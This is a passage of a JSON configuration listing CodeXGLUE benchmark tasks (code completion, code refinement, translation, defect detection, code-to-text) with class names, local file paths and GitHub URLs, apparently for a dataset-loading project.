https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/CodeCompletion-line\",\n \"dir_name\": \"CodeCompletion-line\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/CodeCompletion-line/dataset/py150/line_completion/test.json\"\n ],\n \"name\": \"cc_code_completion_line\",\n \"parameters\": {\n \"language\": \"python\",\n \"original_language_name\": \"py150\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/CodeCompletion-line\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/CodeCompletion-line/dataset/py150/line_completion\"\n },\n \"cc_code_completion_token_java\": {\n \"class_name\": \"CodeXGlueCCCodeCompletionTokenJava\",\n \"data_dir_name\": \"dataset/javaCorpus\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE CodeCompletion-token dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/CodeCompletion-token\",\n \"dir_name\": \"CodeCompletion-token\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/CodeCompletion-token/dataset/javaCorpus/preprocess.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/CodeCompletion-token/dataset/javaCorpus/download.sh\"\n ],\n \"name\": \"cc_code_completion_token\",\n \"parameters\": {\n \"language\": \"java\",\n \"original_language_name\": \"javaCorpus\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/CodeCompletion-token\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/CodeCompletion-token/dataset/javaCorpus\"\n },\n \"cc_code_completion_token_python\": {\n \"class_name\": \"CodeXGlueCCCodeCompletionTokenPython\",\n \"data_dir_name\": \"dataset/py150\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE CodeCompletion-token dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/CodeCompletion-token\",\n \"dir_name\": \"CodeCompletion-token\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/CodeCompletion-token/dataset/py150/preprocess.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/CodeCompletion-token/dataset/py150/download_and_extract.sh\"\n ],\n \"name\": \"cc_code_completion_token\",\n \"parameters\": {\n \"language\": \"python\",\n \"original_language_name\": \"py150\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/CodeCompletion-token\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/CodeCompletion-token/dataset/py150\"\n },\n \"cc_code_refinement_medium\": {\n \"class_name\": \"CodeXGlueCCCodeRefinement\",\n \"data_dir_name\": \"data\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE code-refinement dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/code-refinement\",\n \"dir_name\": \"code-refinement\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/train.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/test.buggy-fixed.fixed\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/train.buggy-fixed.fixed\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/test.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/valid.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/valid.buggy-fixed.fixed\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/train.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/test.buggy-fixed.fixed\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/train.buggy-fixed.fixed\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/test.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/valid.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/valid.buggy-fixed.fixed\"\n ],\n \"name\": \"cc_code_refinement\",\n \"parameters\": {\n \"size\": \"medium\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/code-refinement\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/code-refinement/data\"\n },\n \"cc_code_refinement_small\": {\n \"class_name\": \"CodeXGlueCCCodeRefinement\",\n \"data_dir_name\": \"data\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE code-refinement dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/code-refinement\",\n \"dir_name\": \"code-refinement\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/train.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/test.buggy-fixed.fixed\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/train.buggy-fixed.fixed\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/test.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/valid.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/small/valid.buggy-fixed.fixed\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/train.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/test.buggy-fixed.fixed\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/train.buggy-fixed.fixed\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/test.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/valid.buggy-fixed.buggy\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-refinement/data/medium/valid.buggy-fixed.fixed\"\n ],\n \"name\": \"cc_code_refinement\",\n \"parameters\": {\n \"size\": \"small\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/code-refinement\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/code-refinement/data\"\n },\n \"cc_code_to_code_trans\": {\n \"class_name\": \"CodeXGlueCCCodeToCodeTrans\",\n \"data_dir_name\": \"data\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE code-to-code-trans dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/code-to-code-trans\",\n \"dir_name\": \"code-to-code-trans\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-to-code-trans/data/train.java-cs.txt.java\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-to-code-trans/data/train.java-cs.txt.cs\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-to-code-trans/data/test.java-cs.txt.java\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-to-code-trans/data/valid.java-cs.txt.java\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-to-code-trans/data/test.java-cs.txt.cs\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/code-to-code-trans/data/valid.java-cs.txt.cs\"\n ],\n \"name\": \"cc_code_to_code_trans\",\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/code-to-code-trans\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/code-to-code-trans/data\"\n },\n \"cc_defect_detection\": {\n \"class_name\": \"CodeXGlueCCDefectDetection\",\n \"data_dir_name\": \"dataset\",\n \"dataset_type\": \"Code-Code\",\n \"description\": \"CodeXGLUE Defect-detection dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Code/Defect-detection\",\n \"dir_name\": \"Defect-detection\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Defect-detection/dataset/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Defect-detection/dataset/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Defect-detection/dataset/preprocess.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Defect-detection/dataset/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Code/Defect-detection/dataset/function.json\"\n ],\n \"name\": \"cc_defect_detection\",\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Code/Defect-detection\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Code/Defect-detection/dataset\"\n },\n \"ct_code_to_text_go\": {\n \"class_name\": \"CodeXGlueCTCodeToText\",\n \"data_dir_name\": \".\",\n \"dataset_type\": \"Code-Text\",\n \"description\": \"CodeXGLUE code-to-text dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"dir_name\": \"code-to-text\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/README.md\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/evaluator.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/reference.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/predictions.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_dedupe_definitions_v2.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/preprocess.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_licenses.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/test/python_test_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/valid/python_valid_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_7.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_10.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_1.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_9.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_4.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_8.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_3.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_13.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_6.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_12.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_11.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_2.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_5.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/bleu.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/model.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/run.py\"\n ],\n \"name\": \"ct_code_to_text\",\n \"parameters\": {\n \"language\": \"go\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Text/code-to-text\"\n },\n \"ct_code_to_text_java\": {\n \"class_name\": \"CodeXGlueCTCodeToText\",\n \"data_dir_name\": \".\",\n \"dataset_type\": \"Code-Text\",\n \"description\": \"CodeXGLUE code-to-text dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"dir_name\": \"code-to-text\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/README.md\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/evaluator.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/reference.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/predictions.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_dedupe_definitions_v2.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/preprocess.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_licenses.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/test/python_test_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/valid/python_valid_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_7.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_10.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_1.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_9.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_4.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_8.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_3.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_13.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_6.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_12.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_11.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_2.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_5.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/bleu.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/model.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/run.py\"\n ],\n \"name\": \"ct_code_to_text\",\n \"parameters\": {\n \"language\": \"java\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"raw_url\": \"https://raw.githubusercontent.com/madlag/CodeXGLUE/main/Code-Text/code-to-text\"\n },\n \"ct_code_to_text_javascript\": {\n \"class_name\": \"CodeXGlueCTCodeToText\",\n \"data_dir_name\": \".\",\n \"dataset_type\": \"Code-Text\",\n \"description\": \"CodeXGLUE code-to-text dataset, available at https://github.com/microsoft/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n \"dir_name\": \"code-to-text\",\n \"files\": [\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/README.md\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/evaluator.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/reference.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/evaluator/predictions.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python.zip\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_dedupe_definitions_v2.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/preprocess.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python_licenses.pkl\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/go/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/test/python_test_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/valid/python_valid_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_7.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_10.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_1.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_9.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_4.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_8.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_3.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_13.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_6.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_0.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_12.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_11.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_2.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/python/final/jsonl/train/python_train_5.jsonl.gz\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/java/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/ruby/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/php/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/valid.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/test.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/dataset_back/javascript/train.txt\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/bleu.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/model.py\",\n \"/home/lagunas/devel/external/datasets-sprint/CodeXGLUE/Code-Text/code-to-text/code/run.py\"\n ],\n \"name\": \"ct_code_to_text\",\n \"parameters\": {\n \"language\": \"javascript\"\n },\n \"project_url\": \"https://github.com/madlag/CodeXGLUE/tree/main/Code-Text/code-to-text\",\n 